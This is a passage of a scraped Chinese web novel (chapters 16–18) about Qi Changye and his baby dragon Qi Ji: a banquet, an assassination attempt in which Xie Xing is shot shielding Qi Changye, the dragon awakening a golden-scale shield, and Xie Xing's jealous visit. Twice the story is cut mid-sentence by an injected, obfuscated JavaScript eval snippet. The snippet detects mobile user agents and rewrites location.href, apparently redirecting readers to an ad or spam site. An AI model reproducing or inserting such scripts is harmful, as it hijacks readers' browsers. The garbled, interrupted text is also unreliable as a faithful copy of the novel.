努力用小爪爪剥了半天虾壳的小祈霁：“？” 小龙一下跳了起来，开始嗷嗷叫。 祈长夜无言，轻轻摸摸小龙，给它重新剥了一只虾。 小祈霁气呼呼的，把虾仁举给他。 哥哥吃。 接着继续努力地剥虾，剥一小会，盯着雅歌，剥一小会，又盯着雅歌。 非常警惕的样子，抱紧剥好的虾仁，偷偷塞给祈长夜。 哥哥多吃点。 雅歌笑了：“这小家伙心疼你呢。” 祈长夜端起一杯冰淇淋，刚才小祈霁就瞄了好几眼，只是一直在剥虾，没有空吃。 “有点凉。”他舀了一小勺，示意小龙慢点吃。 小祈霁开心地咬住勺子。 冻到了，抖一抖。 好吃，喜欢，啃一口。 冻到了，抖一抖。 好吃，再啃一口。 小龙一边抖啊抖，一边坚持不懈地吃冰淇淋。 “……我其实有个问题，”艾丽娅说，“它那么小，能吃这些吗？” 祈长夜微微一顿。 “不能吗？” “它还是个小孩子吧？”艾丽娅说，“你小时候，应该也不能吃冰淇淋哦？” 雅歌忽然往艾丽娅嘴里塞了一块熏肉，祈长夜平淡地说：“也是。” “深渊的怪物，体质不能和人一概而论。”雅歌一边塞一边说，“别看它还是只幼崽，就算吃人，也不会消化不良。” 小祈霁：“？” 小祈霁贴住祈长夜。 我很乖。 不吃人。 祈长夜：“我知道。” “诸位，晚上好。” 含笑的声音插.了进来，谢荇端着酒杯，走到祈长夜身侧。 他的手腕盘着一条俏丽的白蛇，温顺得一动不动，乍一看，还以为是一枚精雕细琢的手镯。 艾丽娅眼睛一亮：“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126603|164242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没看错的话，这好像是人工培育的灵蛇，有吊命的功效。这样的品相，拍卖行能拍出大几百万的价格。” “博士很有眼光。”谢荇微微点头，“本来是想当成久别重逢的见面礼送出去，可惜，我的赠送对象暂时不愿意收。” 然后就没人接话了。 祈长夜在喂小祈霁冰淇淋，雅歌和艾丽娅在吃东西。 “……” 过了几秒，谢荇神色如常，再次开口：“记得小时候，我们还在孤儿院，一天两餐只能喝凉水，啃硬得像木头一样的面包。连冰淇淋是什么都不知道。” 他的目光投向祈长夜，染上几分怀念。 “那时，祈队很照顾我，总是把面包中间稍软一点的芯留给我，自己啃难吃的边角，每餐只供应一杯的凉水，也会多给我留半杯。” 雅歌：“太感人了，少家主真是知恩图报啊。” 谢荇只是微笑，定定地看着祈长夜。 祈长夜一言不发，给小祈霁舀了满满一勺沾着果酱的冰淇淋。 小祈霁却不吃了，有点心疼的样子，小爪爪一下拍拍他的手背，无声地安慰他。 祈长夜想了想，吃掉那口冰淇淋，又舀一勺，晃晃勺子。 小祈霁啊呜一口。 谢荇脸上的笑容消失了。 一杯冰淇淋很快被解决，小祈霁嘴角沾到一点果酱，祈长夜拿起纸巾，温柔地帮它擦掉。 谢荇：“它的吃相，是不是有点不太体面。” 他的手指动了动，腕间的那条宠物白蛇乖巧攀来，优雅地吞下一块水果。 “只要它喜欢，怎么做都可以。”祈长夜眼眸毫无波澜，说了第一句话。 谢荇杯中红酒微微晃荡，嘴角的笑意加深了一点。 虽然没人理他，但他始终不曾离开，而是一直留在原地。 吃饱喝足的小祈霁枕着祈长夜手指，安静又专注地望着他，尾巴卷起，像个小爱心。 谢荇的声音再度响起：“听说，怪物一直盯着人类，就是捕猎的前兆，正在算计着如何猎杀对方。” 小龙松开尾巴，转过脑袋。 一动不动地盯住了他。 谢荇：“……” 祈长夜轻轻拢住小龙，小祈霁揪揪他的袖子：“嗷。” 这里好吵。 祈长夜于是对雅歌和艾丽娅点头示意，带着小祈霁，穿过宴会边缘。 清净的露台，面朝一小片树林，一轮弯月挂于林稍，黑沉沉的树影婆娑。 小祈霁坐在祈长夜肩头，和他一起看月亮。 只有它和哥哥。 没有别的东西。 过了几秒，心情很好的小龙开始哼歌。 祈长夜：“……” 他似乎想说什么，不过，还是没有开口，而是偏过脸，安静地听着歌声。 脚步声从身后传来，歌声骤止，祈长夜并未回头。 “哥。” 谢荇的声音随着夜风飘来。 “这次的深渊任务，你能陪我一起去吗？” 回应他的是祈长夜毫无波澜的一瞥，乌墨般的眼眸，映出泠然的月色。 谢荇靠在扶手上，肩膀一下子垮了下来。 “谢家有太多双眼睛，一直盯着我，想把我拉下来。” “那十几个进化者，说是来保护我，可就连老师都查不出来，他们是不是真的一心效忠于我。” “表面风光，背地里杀机四伏，这就是所谓的上城家族。” “我从没进过深渊，我怕……” 像是把心底的所有情绪都吐了出来，谢荇抬起疲惫的眼睛。 忽然看见，那只丑陋的生物不知何时爬到祈长夜头顶，正在蹦跶。 “……？” 谢荇说：“有脏东西。” 小祈霁第一次从祈长夜的肩膀爬到头顶，非常高兴地窝在那里，雄赳赳气昂昂地巡逻，像是在炫耀自己的领地。 祈长夜：“小心，别摔了。” “嗷！” 小祈霁啪叽一下坐稳了，蹭蹭祈长夜乌黑柔软的发丝。 开心！ 抛花花！ “……它是不是有点太过分了。”谢荇说，“我刚才说的，你是不是都没听。” 祈长夜：“你刚刚说话了？” 谢荇：“……” 大厅奏起悠扬的乐声，夜间微凉的风穿过树影，沙沙作响。 小祈霁忽然扭头，竖起的龙瞳，盯住下方的树林。 与此同时，祈长夜转身—— 乐声昂扬，钢琴与琴弦齐鸣，华丽的曲章正至高.潮。 砰！ 枪声乍响，划破夜空。 灯光之下，鲜血飞溅。 16.第十六章 小龙觉醒？ 砰！ 枪声搅乱奏乐，鲜血飞溅露台。 一道身影摇晃着倒下，被一双修长的手接住。 谢荇倒在祈长夜身上，胸口蕴开大片的血花。不久前还神采飞扬的脸庞，此刻已经变得萎靡黯然。 ——枪声响起的同时，他挡在了祈长夜身前。 祈长夜掌心底下，被护住的小祈霁无声爬出，一双竖立的龙瞳，毫无情绪地盯着谢荇。 凌乱的乌黑长发散在祈长夜衣间，地锦般攀上他的身躯。他扶着谢荇脊背，低垂的墨色眼眸，映出那个定定地看着他的人。 “……好疼……” 谢荇的手紧紧抓住祈长夜，脸庞抽动，撑起力气，向他挤出一句话。 “我是不是……要死了……” 祈长夜给他止血：“别说话。” 谢荇眼眸微微涣散：“欠你的，我……” “你不会有事。”祈长夜斩钉截铁地打断。 谢荇不知听没听清这句话，脸庞偏向一边，失去了意识。 鲜血不断流出，透过衣料，浸湿祈长夜的掌心，一寸寸渗入指间的纹路。 这一幕，几乎和多年前的那个夜晚重合。 很久以前，他也曾这样，看着一具具失温的，鲜血淋漓的身体。 …… 孤月高悬的黑夜之下，一双冰冷的金色眼眸睁开。 浓稠的墨黑，以祈长夜为中心，呼啸席卷而开，淹没数百米的边界，将世界拖坠入无光的深渊。 树林里，一道人影被无数黑暗凝成的丝线拖拽而出，悬于半空，如牵线的傀儡，轻而易举就被撕裂了身躯，鲜血大片泼洒而下。 那双惊惧大睁的眼睛，对上祈长夜黑暗中明亮锐利，冷寂肃杀的金色眼眸。 “说，你的主使。” 不知是因为恐惧，还是因为痛苦，刺杀者的喉咙发出破风箱般的嗬嗬嘶吼，却吐不出一个字。 下一秒，他的腮帮子鼓动，似乎用力地咬碎了什么东西。那双被惊恐填满的眼睛，就这样突兀地凝固不动。 他死了。 祈长夜冰冷的眼眸没有丝毫波动，就像目睹一片微不足道的尘埃落下。 身后传来急促的脚步声，大厅的人终于赶到。他低头，对上一双浅金色的龙瞳。 小祈霁揪住他的一小片衣角，尾巴扫开谢荇缠绕于他衣间的黑发，一眨不眨地望着他。 祈长夜落下另一只干净的掌心，抚过小龙：“别怕。” “叭。” 小祈霁抵住他的掌心，小小的身躯散发暖烘烘的热量，驱散他指间的寒凉。 黑暗退散，月光重新降临露台。距离那声枪响，不超过一分钟。 “少家主！” 第一个破门而入的是费尔，他阴鸷的灰色眼眸迅速扫过整个现场，一把抓起谢荇手腕。 那条宠物白蛇还缠在谢荇腕间，乖巧地蹭着谢荇，费尔直接将它扯下，攥在掌中。 娇弱的白蛇被他硬生生捏爆，化为一摊血肉，他掰开谢荇的嘴，给他灌下那些血。 祈长夜遮住小祈霁的眼睛，能感觉到小龙蜷缩起来，往他的掌心里缩了缩。 灵蛇的血蕴含强大的吊命功效，血液一入口，谢荇的状态就发生了肉眼可见的好转。 治愈系进化者很快赶来，双手合十，释放的光芒却飘在半空，无法融入谢荇身体。 “我的能力被干扰了！他体内有火石，必须动手术将火石取出，再进行治疗。” 费尔阴冷的视线蛇信般刮过那个治愈系的脸庞，令他的身躯微微打抖，正想后缩，就听见一道清冷沉静的男声：“带他走。” 治愈系的目光飞快点过祈长夜，得救般应了一声，扭头就跑。 最终，谢荇被送去最近的医院。 雅歌站在露台上，举目眺望。 孤月之下，林稍之上，无数黑色丝线纵横交错，凝而不散，割裂了夜色。那具刺杀者的尸体，被千万缕黑色丝线吊起，如同没有骨骼的傀儡，脱力地垂下头颅。 月光无法穿透那片凝结的暗色，也无法穿进密闭的手术室内。 医院上下三层都被封锁，雅歌转过走廊，红灯长亮的手术室前，眉眼沉淡的年轻男子停在那里。 他的衣间有斑驳血迹，那是谢荇的血，依然沾在他的身上，已经冰凉。 “没有失控，你的状态的确好转了。”雅歌说，“是因为你的小家伙吗？” 祈长夜展开掌心，缠绕在他指间的小祈霁昂起脑袋。 他注意到，小祈霁的尾巴一侧不知何时蹭上一点血迹，指腹的力道柔和，仔细抹去，又从头到尾检查了他的小龙一遍。 小祈霁乖乖地躺在他的指间，甩甩干净的小尾巴，“嗷”了一声。 “大厅很安全，还有进化者保护，少家主为什么会去不设护卫的露台？！” 走廊一侧，传来费尔的怒吼。 他的面前，几个进化者单膝跪地：“少家主……少家主说要去找祈队，让我们别跟着。” “……祈队？”费尔一点点转过头颅，“所以，少家主是为了找你，才中枪的。” 祈长夜没有犹豫：“他的确为我挡了一枪。” 小祈霁：“……” 是它先拉着哥哥去那里的。 小祈霁想张嘴，被祈长夜轻轻用掌心盖住了。 雅歌上前一步：“刺杀者不是为了长夜而来，谁都知道，火石伤不了他。” “怎么，城主的意思，我们少家主替你们的进化者挡枪，反而是多余了？” “当然不是，谢少家主舍己为人，令人钦佩，我们一定会全力治好他。” 雅歌话锋一转。 “我那句话的意思是，少家主的危险并未解除，恐怕，他一离开乌城，就被人盯上了。” “刺杀者的嘴里藏着毒药，是自杀身亡。从他身上，我们搜到了那把火石枪。” “芙洛城只是一座C级城，没有能力配置这样的武器，而且，我看那武器，多少有点眼熟。” 雅歌随手一抬，有人将那把枪送上。 费尔一眼扫过，脸色沉了几度：“是我们的东西，去查。 很快，一个进化者被拖了过来，声音发颤：“大人，我的枪……半小时前，被偷走了……” “哦？”雅歌挑眉，“为什么不及时汇报，是等着夸奖吗？” “废物！谢家不需要你这种垃圾！” 费尔一声暴喝，脚下蹿出无数漆黑的蛇影，一口咬住进化者的脖颈。 一切发生得太快，短短几个呼吸间，那个进化者就痛苦倒地，失去了生机。 无论是费尔，还是他身后的那些进化者，都无动于衷。 “何必这么着急，”雅歌像是很遗憾地叹了口气，“说不定还能审问出什么。” 费尔开口，语气忽然变得客气不少：“和他们斗了这么多年，我心里有数，只是没想到这次还是疏漏，让他们插了人进来。” “这点家族丑事，还请城主帮忙压下，不要外传。” 雅歌：“好说。” 费尔再转向祈长夜，表情愈发和善：“也多谢祈队，帮我们制住了那个暗杀者。” “这些年，一直有人针对少家主，他过得并不顺遂。我老了，身边也没有什么得力的人能保护他。” 祈长夜的神情并没有什么变化：“过了今晚，他会好的。” 费尔还想说什么，雅歌笑吟吟地接上：“是啊，灵蛇可是很珍稀的医疗物种，他的性命无忧，不用担心。” 手术室的红灯熄灭，医生走出。 “手术很顺利，子弹埋得并不深，病人的伤已经痊愈，明天就可以出院。” 费尔一口回绝：“这里不安全，不能拖到明天。” 医生连连摇头：“那不行，病人还没醒，需要休息。” 费尔眼中陡然浮出厉色：“连个进化者都不算的东西，也敢——” 一道清沉的声音响起：“他留下，我守着。” 小祈霁一下抬头。 费尔缓缓转身，笑了起来：“那就多谢祈队了，少家主知道，也会很高兴的。” 很快，他借口说要善后，带人离开了医院。 临走前，雅歌拍拍祈长夜的肩膀：“今晚没地方睡咯，怎么样，要不要把你的小家伙给我，让我照顾一晚上？” 祈长夜低头看着小祈霁。 小祈霁揪着他的袖子，四只小爪爪，都紧紧地攥着。 其实，那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祈长夜叠起外衣下摆，当成被子盖住小祈霁，一下一下，拍抚它软软的脊背。 “睡吧。” 他修长的手指搭成遮光挡风的小窝，笼罩在小龙上方。 小祈霁枕着哥哥的腿，安心地窝成一小团，一开始还安安静静地看着他，后来，在温柔的安抚里，渐渐睡着了。 睡着的小龙，似乎还做了个美梦，小脑袋软软地贴着他，时不时磨蹭一下。 那条小尾巴也缠在他的指间，从食指绕进去，又从无名指绕出来，尾巴末端细闪的鳞片，就落在他的无名指间。 祈长夜看了一会，感觉他的小龙，似乎变好看了一点。 不确定，再看看。 好像是更好看了。 因为觉醒了新能力吗？ 祈长夜曲起手指，为小祈霁遮住天花板的灯光。 这只小龙睡得很安稳，有时候，还会在梦中小声地“啾啾”两声，像是在喊哥哥。 祈长夜并不知道为什么小祈霁喜欢这么喊他。 这个称呼，他已经很久没有听过。甚至，也曾一度是他的梦魇。 但现在，他不会再做噩梦了。 轻软的“啾啾”声又响起，刚刚翻了个身的小祈霁探出小小的爪子，似乎想要抓住什么东西。 祈长夜手指微垂，刚刚靠近，就被小龙紧紧抱在怀里，压在软乎乎的肚子底下。 直到尾巴也圈住指根，完全霸占了哥哥，这条小龙才安心地沉入梦乡。 祈长夜安静地垂眸。 枪声响起的那一刻，连祈霁自己都没有注意到，它瞬间发动了某种能力。 想要快点长大的小龙，早在今夜，为了保护哥哥而觉醒了。 17、第十七章 哥哥，关起来 第二天，小祈霁刚刚醒来，就发现自己和祈长夜回到了家里。 不是医院！ 只有哥哥！ 于是，刚睡醒的小龙变成了一条精神抖擞的高兴龙。 爬到哥哥头顶欢呼。 “呜啦！” 祈长夜：“。” 他顶着这么一只小龙，平稳地走进厨房，端出来一盘盘早餐。 一桌精致的早餐，和之前的画风截然不同。 小祈霁有点不解，跳下来，围着桌边溜达一圈。 “昨天的厨师做的。”祈长夜说，“你喜欢的话，以后都请他做。” 小祈霁呆住了。 哥哥不给它做饭了！ 好像遭遇了某种大危机，这只小龙仰着脑袋，尾巴翘起，冲祈长夜嗷呜嗷呜。 我要吃糊糊！ 祈长夜：“真的？” 小祈霁飞快点点脑袋。 哥哥做得最好吃！ 于是祈长夜端上来一碗糊糊。 飘着奇妙的颜色。 也许是技术迭代，比之前任何一碗都更难以形容。 小祈霁看看糊糊，再看看旁边精致的甜点，再看看糊糊。 祈长夜：“也可以不吃的。” 小祈霁一把抱住碗。 哥哥做的就是最好哒！ 为了给自己加油鼓劲，这只小龙开始大声唱歌。 祈长夜：“……” 唱着唱着，小祈霁就趁糊糊不注意，飞快偷吃一口。 下一秒，这只小龙睁大了眼睛。 祈长夜默然几秒：“我努力过了。” 他还询问过那位厨师，学了新做法。 然而，小祈霁并没有表现出生无可恋的样子，而是有点惊喜地看着那碗糊糊。 感觉变好吃了一点点！ 不确定，再吃一口。 好像是好吃了一点点！ 小龙开始大快朵颐。 祈长夜沉默片刻，摇晃摇晃小龙，确认一下有没有变异。 风卷残云地解决完一整碗糊糊，小祈霁甩着小尾巴，心情很好地贴贴哥哥。 喜欢。 祈长夜拿起一块糕点：“再吃点。” 小祈霁摇摇脑袋，表示不要，又把盘子往祈长夜手边推推。 哥哥吃。 在小龙炯炯的目光中，祈长夜轻咬一口。 没加糖的点心，对他来说，依然是和营养剂差不多的味道。 相比于花里胡哨的食物，营养剂能够提供人一天需要的营养和饱腹感，最节省时间。 他一低头，某只小龙已经溜达到桌子边，鬼鬼祟祟地把他新买的营养剂推下桌子。 光明正大地暗鲨掉。 然后，小龙假装无事发生地溜达回来，抱住一块点心，放到祈长夜掌心。 不是甜哒。 哥哥多吃点。 祈长夜看着这只软软摇尾巴的小龙：“好。” 小祈霁嗷嗷。 等我长大，就可以给哥哥做饭啦。 我做得会比他们更好！ 想到这里，小龙满怀期待，从祈长夜的左手蹦跶到另一边，又蹦跶回来，像只追逐漂亮蝴蝶的猫猫。 又过一会，小祈霁推着一颗糖，在桌上滚雪球一样滚来滚去。 精力充沛的小弹簧。 祈长夜简单吃了点东西，伸手，掌心里就多了一只主动跳进来的小弹簧。 他来到客厅，刚刚坐下，小祈霁又扑到他的腿上，玩起了他的衣角。 好动的小龙，喜欢它的哥哥身上每一寸地方。 祈长夜的视线随着一会爬到那里、一会爬到这里的小龙游走，说：“你的新能力，应该是防御。” 小祈霁：“莫？” 祈长夜摸摸这只小龙：“试试调动你的精神力，凝聚成一点。” 小祈霁认真地点点脑袋，聚精会神。 “呜啦！” “叭！” “嗷呜！” 忙活了大半天，无事发生。 “……” 小祈霁满眼无辜地看着祈长夜，摊开小爪爪。 祈长夜想了想，试着引导他的小龙：“你给我唱歌的时候，是什么感觉？” 小祈霁：“嗷呜。” 没什么感觉呀。 我很会唱歌哒，而且，可以让哥哥好受一点。 祈长夜默默地无视了前半句：“也就是说，这是你与生俱来的能力。” 小祈霁的歌声能够安抚他的精神力，随着成长，还会觉醒新能力。 只是，后期觉醒的能力，这只小龙一开始还无法熟练掌握。 祈长夜沉思片刻，拿起一把水果刀。 在小祈霁的注视中，他忽然反手持刀，刀刃刺向自己。 “嗷！！！” ——片刻后。 祈长夜捧着一只吧嗒吧嗒掉眼泪的小龙，认真地，诚恳地道歉：“我错了。” 小龙一声不吭，浅金色的龙瞳水雾雾的，掉下一颗颗泪珠，砸在祈长夜掌心。 祈长夜温柔地摸摸湿漉漉的小龙，小龙抱住自己的小尾巴，转过去，留下一个小小的，伤心的背影。 祈长夜低头，脸庞微微靠近：“对不起，吓到你了。” 小龙一脑袋扎到他脸上，飞快蹭掉眼泪，钻进他的袖子里，露出一截小尾巴，不肯冒头。 祈长夜捏捏尾巴。 尾巴飞快缩回去，整只小龙都藏进了袖子里。 不理哥哥了！ 祈长夜无言，隔着袖子，一下一下抚摸闷在里面的小龙。 过了不到半分钟，袖子里就冒出一只小脑袋。 祈长夜对上那双幽幽的龙瞳，说：“没有下一次，我保证。” “……嗷呜。” 小祈霁这才慢吞吞从袖子里爬出，四只爪爪都紧紧抱住祈长夜的手指，一整条黏住他。 看看他的胸口，再看看那把被丢远的水果刀，不开心，小尾巴卷成一团。 刚才，危险的刀刃距离祈长夜胸口不到三厘米，一双纯金色的竖瞳，从他身前睁开。 那一瞬间似有无声的龙吼，刀刃撞上强硬的护盾，被直接弹飞。 而祈长夜也收获了一只炸毛小龙。 他用手指顺平小龙的尾巴：“再试着调动一下精神力？” 小祈霁气呼呼的，看看祈长夜。 它是乖乖的小龙，所以，才不和哥哥计较。 于是小祈霁气呼呼地照做了。 一双金色的龙瞳虚影升起，转瞬化为一片扩张而开的金色。 细看之下，金色是由一枚枚黄金般的鳞片连缀而成，宛若成年巨龙坚不可摧的麟甲。 小祈霁看看那片鳞甲，再低头看看自己。 发现它自己的鳞片都没有那么多。 “真厉害。” 它听见哥哥的声音，在夸夸它。 小龙顿时开心了起来，追着尾巴转圈圈。 祈长夜的手指拂过一枚枚金色鳞片，宛若实物，触感冰凉，坚不可摧。 昨天，枪声响起的那一刻，就是这片鳞甲，化为守护之盾，挡在他的身前。 原本他可以避开子弹的脚步，留在了原地。只是后续发生的事情，出乎他的意料。 无论如何，连那时的小祈霁自己都没意识到，它为了保护祈长夜，爆发了本能。 金色鳞甲持续一会，边角的鳞片开始变淡。消失的过程并不短暂，而是从边缘一点点淡化，直到几分钟后，中间的鳞片也转为透明。 啪叽。 小祈霁歪躺在祈长夜掌心，瘫成一小坨。 好累。 要哥哥贴贴。 祈长夜低头，眉心抵上小龙。 他的眼眸亮起金色的光泽，比小龙的浅金龙瞳更加炽烈，盛大。 就像天空遥不可及的太阳降落，停留在小龙的眼睛。 ——精神力过渡。 小祈霁呆愣了一秒，飞快扭开脑袋，蹦跶到祈长夜头顶。 不累啦！ 祈长夜伸手，小祈霁还不愿意下来，直到他保证不会像刚才那样做，这只小龙才蹦跶回他的掌心，开心地吃哥哥给它的软糖。 祈长夜垂着眼睫，若有所思。 精神力过渡，需要二者的精神力极为契合，才能顺利过渡。 刚才，他的精神力毫无滞涩，直接就被小龙吸收了。 对他而言，这还是第一次。 那双乌黑眼眸，安静地注视蹦蹦跳跳的小祈霁。 小龙现在展现出来的能力，治愈，和守护。 这是一条善良的小龙。 小祈霁昂起脑袋，对上哥哥的眼睛。 下一秒，金色的鳞片亮于祈长夜眉心，鳞甲迅速蔓延扩张，化为四面的护盾，完完全全地将他圈在其中。 是守护，却也让他无法离开。 小祈霁龙瞳亮亮的，围着祈长夜走了一圈，心情很好地挑了个舒服的位置，窝了下来。 祈长夜敲敲鳞甲：“可以开门吗。” 小祈霁一眨不眨地看着他，尾巴一摇一摇，好像没听见。 祈长夜又敲敲门，小龙脑袋一扭，假装无事发生，踩着小步子飞快溜走了。 祈长夜：“？” 过了一会，小祈霁抱着一小袋糖溜溜达达地回来。 顺路把水果刀踢飞。 窝在祈长夜身边，看着被关起来的哥哥，开心地吃糖。 祈长夜：“……” 18、第十八章 哥哥，他不会怪我吧？ 骨节分明的手指按住鳞甲，稍一用力—— 鳞甲破碎，祈长夜走出一步，低头看着小祈霁。 小祈霁：“……” 这只小龙眨巴眨巴眼睛，一秒摆出乖巧的样子。 软软的小尾巴卷起来，给哥哥比了个小爱心。 祈长夜无言，把他的小龙拎起来，晃悠晃悠。 小祈霁伸出小爪爪扒拉住他，“嗷”了一声，似乎有点不解。 为什么哥哥一下子就出来了。 “因为我的精神力比你强。”祈长夜说，“等你长大，超过我的时候，才能困住我。” 小祈霁点点脑袋，认真地记下，思索起来。 祈长夜：“。” 怎么真的在想。 屈起手指，敲敲小龙脑壳。 小祈霁非常配合，敲一下就压一下小脑袋。 乖乖的，一看就是不会做坏事的小龙。 祈长夜：“再练习一下吧。” “昂！” 小祈霁开始认真地复习新能力。 很快，它就得心应手起来，并且举一反三。 啪。 丢出鳞甲，罩住糖果。 啪。 丢出鳞甲，罩住它的小窝。 啪。 丢出鳞甲，关住哥哥。 祈长夜挑了下眉。 恰在此时，通讯器响起。 啪。 小祈霁丢出鳞甲，罩住通讯器。 这只小龙环顾自己的成果，好像获得了什么大胜利，洋洋得意地高举小爪爪：“嗷！” 然后就被打破的鳞甲祈长夜轻轻拎了起来，摇晃摇晃。 小龙抱着哥哥的手指荡悠几下，吧唧落到他的腿上。 祈长夜：“我想提前和你说一件事。” 小祈霁趴在他膝间，昂着脑袋，揣起两只小爪爪，压在胸口下面。 哥哥说！ “我打算——” “我没有出院的打算。” 病房内，谢荇按住胸口，对床边的护士微笑。 “我胸口疼，呼吸不过来，还是麻烦你们多照顾我几天吧。” 祈长夜走进病房，刚好听见最后一句话。 望见他的身影，谢荇眼睛一亮：“你回来了。” 话还没说完，他就咳嗽两声，很虚弱似的，声音也低了下来：“我还是太大意了，没想到，暗杀者一直藏在我身边。” “现在，只能连累大家，推迟探索深渊的任务……” “我会接下深渊的任务。”祈长夜平静地说。 小祈霁趴在哥哥肩膀，拨弄他垂下的乌黑发丝，对这句话无动于衷。 “太好了！”谢荇一下撑着身体坐起，“我就知道，有你在身边，我什么都不用担心。” “任务结束之后，”祈长夜的声音没有丝毫停顿，“你立刻返回乌城。” 谢荇一怔：“为什么？你要赶我走吗？” 祈长夜一言不发，乌黑眼眸自上而下地看着他。 谢荇慢慢垂下头颅：“好吧，我听你的。一出深渊，我就带着调查结果回去。” 说完，他又轻轻咳嗽两声。 祈长夜对旁边的护士示意：“给他检查。” “检查第三遍了。”护士诚实地回答，“这位病人非常健康，不要小看我们的治愈系进化者啊。” 谢荇：“……” 因为谢荇彬彬有礼地表示他还是很虚弱，护士又拿起检测仪，给他进行第四次检测。 等待结果的过程，护士的视线略微探向一边。那位同样黑发黑眸的年轻祈队，带着一只小怪物，站在窗边。 最近，这位祈队的风评有所好转，同处一屋，她并不怎么害怕。 一开始，她就注意到了，祈队身边还有只和他非常亲密的小家伙。 那只幼崽，应该是传闻中被祈队捡回来的怪物，虽然长得不怎么样，像无毛无皮的奇怪小蛇，却很乖巧。 乖乖地趴在祈队身上，还会时不时地玩他的头发。而冷冰冰的祈队也没有阻止，纵容着这只好动的幼崽。 怪养眼的。 多看两眼。 “哥，可以和你回家吗？” 谢荇忽然开口。 护士面露悚然。 这一刻，她的眼中，祈队肩头的生物好像不再是乖巧的幼崽，而是……一只真正的怪物。 来自深渊，危险噬人的怪物。 修长手指摘下一片花瓣，落在小龙额头。 ——下一秒，这只幼崽就开始轻蹭祈长夜脸庞，一副乖巧又依恋的模样。 护士揉揉眼睛，定睛一看，小龙正在悠闲地甩尾巴 她恍惚觉得，自己是不是产生了什么幻觉，才会以为刚才那几秒……这只怪物想要吃了谢荇。 病房窗台的花瓣飘摇落下，微风卷起阳台的窗帘。 “他们就让你住这种地方？” 才进玄关，谢荇就毫不掩饰地“啧”了一声。 他的视线擦过玄关摆放的糖果罐、地毯上柔软的小窝和玩具，向前走了几步，停在客厅。 “只有一间卧室啊。” 谢荇语调上扬：“以前舅舅送过我几只小宠物，我那还有几个不用的培育箱，可以让他们送过来，这样它就不用睡沙发了。” “不需要，”祈长夜说，“祈霁和我睡。” 小祈霁蹦跶到他的手上：“呜啦！” 谢荇：“……” 似乎有磨牙的声音响起，很快就消失了。 谢荇语气如常地开口：“睡一个房间？” 祈长夜：“嗯。” “一张床？” “嗯。” “…………” 小祈霁甩着尾巴，骄傲地沿着祈长夜的手臂溜溜达达。 “深渊的怪物，可能携带各种不知名的病菌。”谢荇视线紧紧锁住那道小小的身影，“很脏的，还是注意一下比较好。” “它很干净，我天天给它洗澡。” 小祈霁又开始原地蹦跶。 谢荇的脸似乎扭了一下，转过身去。 他走向橱柜，拿起摆放着的药瓶，转动一下。 “你平时就吃这种药？副作用这么大，又是那个庸医给你开的吧。” “看来，我一定要好好教训他……好吧，我开玩笑的，别生气。” 谢荇笑了笑，将那瓶药丢进垃圾桶里。 “这次之后，和我回上城吧。” “只要你和我回去，我就把治疗精神力的药给你。” 祈长夜神情淡淡：“我已经不需要吃药了。” 他的手指落在小祈霁头顶，小祈霁看着他。 抱住吧唧一口，亲亲他的指尖。 谢荇的五指骤然攥紧，挤出一个微笑：“是吗，那很好啊。” “我还有事，先走了。” 他一步步走到玄关，没有听见挽留的脚步声，忽然回头。 “你也看到了，我在谢家，并不是一帆风顺。” “三年前，不是我想背叛你，而是我根本没有选择。” “如果我不做，其他人也会逼着我做，难道要我舍弃一切，和整个上城对抗吗？” “我从不觉得你背叛了我。”祈长夜的语气平淡，眼眸毫无波澜，“谢荇，你和我，从来没站在一边。” 就像被一根钉子钉死了双足，谢荇一动不动。 良久后，他才挤出一句话：“……那颗子弹，原本也伤不到你。就算没有我，你也会没事。” 祈长夜：“那并不能抹消现在的事实。” “所以，你接下深渊的任务，因为你想抵消我对你的恩情？” 谢荇要笑不笑，死死盯着祈长夜掌心里的小祈霁。 “你这么喜欢它，难道它也救过你？它也为你舍弃过性命？” 回应他的，是那双乌黑眼眸平静投下的目光。 “没必要对比。” “祈霁和你，本来就是不一样的。” 谢荇的手指深深扎进了掌心里。 住宅楼外，费尔静静地等候，直到那道身影失魂落魄地来到他面前。 “如何呢，您满意了？” 谢荇深吸一口气。 “只是一个怪物而已。” 他保持着风轻云淡的微笑。 “一个丑陋的怪物，根本不配和我争，从起跑线上，它就已经输了。” “我和他认识那么多年，从小我们就在一起了，那个怪物才出现多久？怎么可能把我比下去？真是个笑话。” 费尔：“您别再说了，再说我真的要笑了。” 谢荇：“…………” “嗷！” 小祈霁头顶一片花瓣，用脑袋高高抛起，又跳起来接住。 祈长夜托着下颌，看着这只小龙玩了会花瓣，变成一只沾着花香的小龙，溜达到他的手边，轻蹭他的指尖。 “啾啾。” 我不会背叛哥哥。 祈长夜：“嗯，我知道。” 小祈霁钻进他的指间，探出脑袋。 哥哥最喜欢我！ 祈长夜温柔地摸摸它。 小龙在他指间穿梭，尾巴上的鳞片闪闪发光。 阳光照耀着鳞片，从晨间的微光，变成黄昏余晖，又消失在夜色降临的天际。 温暖的浴室，祈长夜给小祈霁洗澡。 今天一天，小龙心情都很好，顶着满头泡泡，大声唱歌。 祈长夜默默打开花洒，调大了水流。 小龙乖乖地被他洗掉泡泡，在水里游来游去。 忽然从水底蹿出来，溅起水花，恶龙咆哮。 祈长夜冷静地往小龙头顶挤上一坨沐浴露。 咆哮的恶龙又咕噜噜沉进水底了。 卧室铺好松软的被褥，祈长夜放下暖乎乎的小龙，给它盖上小被子。 小祈霁嗖一下钻出小被子，在祈长夜的枕头上大摇大摆地巡逻。 祈长夜拉起被角，包住这只活泼的小龙。 “晚安。” “嗷呜！” 